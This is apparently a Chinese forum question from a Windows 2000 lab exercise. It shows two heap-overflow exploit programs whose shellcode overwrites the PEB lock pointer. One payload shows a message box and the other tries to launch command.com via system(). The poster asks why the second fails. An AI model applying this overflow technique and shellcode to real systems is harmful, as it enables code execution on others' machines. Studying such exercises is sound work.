大家看下面的两端代码，shellcode的长度一样，我在win2000虚拟机里测试，为什么一个能弹出failwest，另一个是开cmd的却不行呢（单独测试shellcode是可以成功执行的）？
代码一：
#include <windows.h>
#include <stdio.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\xE0\x7E\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x6D\x02\xE8\x77" //sp4 loadlibrary地址0x77e8026d
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xBF\x8E\x01\x78" //sp4 system地址0x78018EBF
"\xFF\xD0"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
printf("%p",hp);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
代码二：
大家看下面的两端代码，shellcode的长度一样，我在win2000虚拟机里测试，为什么一个能弹出failwest，另一个是开cmd的却不行呢（单独测试shellcode是可以成功执行的）？
#include <windows.h>
#include <stdio.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\xE0\x7E\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
printf("%p",hp);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
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